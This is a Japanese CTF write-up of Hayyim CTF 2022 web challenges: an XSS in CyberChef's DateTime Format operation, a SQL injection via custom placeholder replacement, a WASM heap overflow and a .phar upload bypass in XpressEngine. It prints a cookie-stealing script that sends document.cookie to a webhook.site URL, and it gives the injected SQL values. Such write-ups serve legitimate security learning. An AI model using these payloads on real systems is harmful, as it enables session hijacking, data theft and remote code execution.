Hayyim CTF 2022 Writeup

Hayyim CTF 2022(2022年2月12日09:00~2022年2月13日05:00 JST)にチームKUDoSとして参加しました。順位は全体で25位でした。

Cyberchef (Web, 100pts)

CyberChefの0-dayを探す問題です。Cookieにflagが保存している状態のBotが指定したURLにアクセスしてくれるので、XSSを見つければ良さそうです。

まず、Outputの表示部分でHTMLタグを出力できるかを見てみます。すると、次の部分でdata.typehtmlが指定されているときに、Outputの表示でHTMLタグを出力するようになっていることが分かります。

github.com

switch (output.data.type) {
    case "html":
        outputText.style.display = "none";
        outputHtml.style.display = "block";
        outputFile.style.display = "none";
        outputHighlighter.style.display = "none";
        inputHighlighter.style.display = "none";

        outputText.value = "";
        outputHtml.innerHTML = output.data.result;
// (省略)

CyberChefでは、入力を出力に変換するための処理の定義をoperations以下のディレクトリのJavaScriptのファイルごとにしているので、この中から探してあげれば良さそうです。ほとんどの処理では、出力でhtmlタグをエスケープするようになっているのですが、TranslateDateTimeFormat.mjsではその処理がありません。

github.com

コードを見てみると、Moment.jsを利用して日時を指定したフォーマットで出力できる機能のようです。Moment.jsのドキュメントを読んでみると、次のように[]内に文字を書くことで、指定した文字が日時に変換されることなく表示されるように指定ができるようです。

moment().format('[today] dddd'); // 'today Sunday'

これを利用して、出力フォーマット指定の[]内に

<script>location.href='https://webhook.site/a6d9a28a-96cf-4da7-a15e-ac9135b2ae6a/'+document.cookie</script>

を記述し、最終的に以下のようなペイロードでflagを取得できました。

http://1.230.253.91:8000/#recipe=Translate_DateTime_Format('Standard%20date%20and%20time','M','UTC','%5B%3Cscript%3Elocation%3D%5C'https://webhook.site/a6d9a28a-96cf-4da7-a15e-ac9135b2ae6a/%5C'%2Bdocument.cookie%3C/script%3E%5D','UTC')&input=Mg

Not E (Web, 158pts)

ノートを作成したり、閲覧したりすることができるWebアプリです。登録ユーザーやノートはSQLiteのDBに保存されています。flagもこのDBのflagテーブルに格納されています。

サーバー側のコードを読むと、SQLのクエリを実行する際のプレースホルダーの置き換えを独自実装しています。

insert into posts values (?, ?, ?, ?)

のようなクエリに対して入力の文字列を、

sql.replace('?', JSON.stringify(param.replace(/["\\]/g, '')));

という実装により、?に対して1か所ずつ、文字列中の"\の削除と"で囲む処理をしています。

?を1つずつ処理しているので、ユーザーの入力で置き換える箇所が2か所以上ある場合に最初の入力を?としてやれば、2か所目の置き換え処理の際に"?"""<2か所目のユーザー入力>""といった形で置き換えてしまいます。

今回の場合には次のような形でinsert文が実行される箇所があります。

await db.run('insert into posts values (?, ?, ?, ?)', [ noteId, title, content, req.session.login ]);

上記のうち、フォームの値として指定できるtitle?content||(select flag from flag)||としてやれば、最終的に

insert into posts values ("<noteId>", ""||(select flag from flag)||"", "<req.session.login>", ?)

というクエリが実行されます。

あとは、titlecontentを基に生成されるnoteIdの値を利用し、該当のノートを閲覧することでflagを入手できます。

Cyber Headchef (Web, 390pts)

Cyberchefのリベンジ問題です。GitHubのIssueにパッチが未適用のXSSペイロードが公開されていたようで、これが利用できないように修正されています。

自分はCyberchefの解法でこれを利用していなかったので、同じペイロードでflagを取得できました。

解けなかった問題

Wasmup (Web, 498pts)

次のCのコードをEmcriptenでコンパイルしたWASMファイルをnode.jsで実行するサーバーが稼働しています。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <emscripten.h>

#define NOTE_LENGTH 4

char* note[NOTE_LENGTH];
size_t size[NOTE_LENGTH];

void readStr(char* label, char* buf, size_t len) {
  printf("%s>\n", label);

  for (size_t i = 0; i < len; ++i) {
    if ((buf[i] = getchar()) == '\n') {
      buf[i] = '\0';
      break;
    }
  }
}

int readInt(char* label) {
  char buf[0x10];

  readStr(label, buf, 0x10);
  return atoi(buf);
}

void printMenu() {
  puts("-----------[menu]---------");
  puts("1. create");
  puts("2. edit");
  puts("3. delete");
  puts("4. exit");
  puts("--------------------------");
}

void createNote() {
  size_t index = readInt("index");

  if (index >= NOTE_LENGTH) {
    puts("Invalid index");
    return;
  }

  size[index] = readInt("size");

  if (size[index] > 0x80) {
    puts("Invalid size");
    return;
  }

  note[index] = malloc(size[index]);

  readStr("content", note[index], size[index]);
}

void deleteNote() {
  size_t index = readInt("index");

  if (index >= NOTE_LENGTH) {
    puts("Invalid index");
    return;
  }

  if (note[index]) {
    free(note[index]);
    note[index] = NULL;
  }
}

void editNote() {
  size_t index = readInt("index");

  if (index >= NOTE_LENGTH || !note[index]) {
    puts("Invalid index");
    return;
  }

  readStr("content", note[index], size[index]);
}

int main() {
  for (;;) {
    printMenu();
    int choice = readInt("choice");

    switch (choice) {
      case 1:
        createNote();
        break;
      case 2:
        editNote();
        break;
      case 3:
        deleteNote();
        break;
      case 4:
        emscripten_run_script("process.exit(0);");
        break;
      default:
        puts("Invalid choice");
    }
  }
}

Dockerfileは次のようになっています。

FROM archlinux:latest

RUN yes | pacman -Sy emscripten nodejs

RUN useradd -m ctf

WORKDIR /home/ctf

COPY ynetd app.c ./

RUN /usr/lib/emscripten/emcc -o app.js -s NODERAWFS -s EXIT_RUNTIME=1 app.c

USER ctf

CMD ./ynetd -p 2000 'node app.js'

次の手順でヒープオーバーフローが成立します。

  1. createNote()を実行
  2. 1.で指定したindexに対して、今度は0x80よりも大きい値のsizecreateNote()を実行することで、size[index]のみが書き換わる
  3. editNote()で確保したメモリ以上のサイズの書き込みが可能になる

以下のリンク先と同じように、この脆弱性を利用してemscripten_run_scriptの引数の文字列を書き換えてあげれば良さそうです。

charo-it.hatenablog.jp

競技時間中はここまでは分かったのですが、pwn部分に手間取って時間切れになってしまいました。

今回の場合は、確保したメモリへのポインタの格納先が既知のアドレスとなっているため、unsafe unlinkで指定したアドレスのメモリを書き換えることができました。

https://gist.github.com/posix-lee/cf5953b2d1157695fc2e61951182c020#file-wasmup-md

XpressEngine (Web, 500pts)

Laravelで構築されたCMSであるXpressEngine脆弱性を見つける問題です。問題サーバー側の設定では、誰でもユーザー登録をすればブログの投稿やコメントができる状態でした。

記事やコメントのエディタに画像や動画などをアップロードする機能があり、サーバー側で独自に生成した名前とファイル名から抽出した拡張子で保存されます。レスポンスのJSONfileプロパティのurlに記述されているURLにアクセスをすれば、直接アップロードされたファイルにアクセスできます。

{
  // (省略)
  "file": {
    "id": "8a1437e6-c670-4a16-a3fa-978c66552241",
    "user_id": "b866487f-9c2a-4f0d-8e8b-cdaea17b192f",
    "path": "public\/media_library\/8a\/14",
    "filename": "20220213115146559186fcae438524674bd4bd96c7f4ebb45c8d9b.png",
    "clientname": "q.png",
    "mime": "image\/png",
    "size": 7445,
    "download_count": 0,
    "url": "http:\/\/test1.ntomoya.com:4000\/storage\/app\/public\/media\/public\/media_library\/8a\/14\/20220213115146559186fcae438524674bd4bd96c7f4ebb45c8d9b.png",
    "width": 64,
    "height": 64,
    "thumbnail_url": "http:\/\/test1.ntomoya.com:4000\/storage\/app\/public\/thumbnails\/06\/df\/spill_400x400_87308ec23bd4b2ff033631947538a98391216103.png",
    "download_url": "http:\/\/test1.ntomoya.com:4000\/media_library\/file\/344b5418-21a6-4014-82b4-9e0f020dd3e4\/download"
  }
}

一方、画像や動画などの特定のファイル以外は、ダウンロードをするためのリンク(download_url)しかレスポンスで得ることができません。しかし、レスポンスから取得できるpathfilenameを利用すればurlを知ることができ、そのファイルへアクセスできます。

{
  // (省略)
  "file": {
    "id": "9ef0352d-e4e7-40a9-ba80-13edc2157ab3",
    "user_id": "b866487f-9c2a-4f0d-8e8b-cdaea17b192f",
    "path": "public\/media_library\/9e\/f0",
    "filename": "20220212193618be73f64fdb0aae8be6b5ec07b2b6dae4b971c23f.txt",
    "clientname": "abc.abc.txt",
    "mime": "text\/plain",
    "size": 4,
    "download_count": 0,
    "download_url": "http:\/\/test1.ntomoya.com:4000\/media_library\/file\/5561ea39-81d9-4c95-acfb-79460ae1df5f\/download"
  }
}

上記の場合、アップロードされたファイルへのurlは次のようになります。

http://test1.ntomoya.com:4000/storage/app/public/media/public/media_library/9e/f0/20220212193618be73f64fdb0aae8be6b5ec07b2b6dae4b971c23f.txt

ここまでは気づいたのですが、問題のサーバーでapache2.conf内でAllowOverride Allの指定に書き換える箇所を見て、なぜか、.htaccessをアップロードすることにとらわれてしまい、解くことができませんでした。

作者の簡易writeupを見ると、pharファイルをアップロードすれば良かったようです。

https://gist.github.com/posix-lee/cf5953b2d1157695fc2e61951182c020#file-xpressengine-md

本来、アップロードして保存できるファイルの拡張子を下記のようにblacklistで指定しており、その中に.phpが入っているため、.phpの拡張子が付いたファイルをサーバー側に保存できないようになっています。

github.com

しかし、.pharのファイルはアップロードして保存できる上、Apacheの設定でphpと同じように処理するように設定されています。よって、実行したいphpのコードを記述して拡張子を.pharにしてアップロードすればRCEができました。(pharアーカイブではなく、phpのコードが書かれたテキストファイルであることに注意)